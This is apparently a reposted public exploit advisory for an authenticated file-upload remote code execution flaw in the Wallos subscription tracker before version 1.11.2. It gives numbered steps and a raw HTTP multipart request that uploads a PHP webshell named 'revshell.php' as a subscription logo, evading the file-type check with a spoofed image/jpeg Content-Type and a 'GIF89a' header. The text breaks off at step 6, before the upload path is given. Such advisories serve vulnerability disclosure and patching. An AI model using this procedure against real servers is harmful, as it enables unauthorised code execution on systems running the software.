Wallos < 1.11.2 Exploit, File Upload RCE

# Exploit Title: Wallos - File Upload RCE (Authenticated)
# Date: 2024-03-04
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://github.com/ellite/Wallos
# Software Link: https://github.com/ellite/Wallos
# Version: < 1.11.2
# Tested on: Debian 12

Wallos allows you to upload an image/logo when you create a new subscription.
This can be bypassed to upload a malicious .php file.


1) Log into the application.
2) Go to "New Subscription"
3) Upload Logo and choose your webshell .php
4) Make the Request changing Content-Type to image/jpeg and adding "GIF89a", it should be like:

--- SNIP -----------------

POST /endpoints/subscription/add.php HTTP/1.1


User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate


Content-Type: multipart/form-data; boundary=---------------------------29251442139477260933920738324


Content-Length: 7220

Connection: close

Cookie: theme=light; language=en; PHPSESSID=6a3e5adc1b74b0f1870bbfceb16cda4b; theme=light


Content-Disposition: form-data; name="name"



Content-Disposition: form-data; name="logo"; filename="revshell.php"

Content-Type: image/jpeg




Content-Disposition: form-data; name="logo-url"

----- SNIP -----

5) You will get the response that your file was uploaded ok:

{"status":"Success","message":"Subscription updated successfully"}

6) Your file will be located in:

All rights reserved nPulse.net 2009 - 2024
Powered by: MVCP 2.0-RC / BVCP / ASPF-MILTER / PHP 7.4 / NGINX / FreeBSD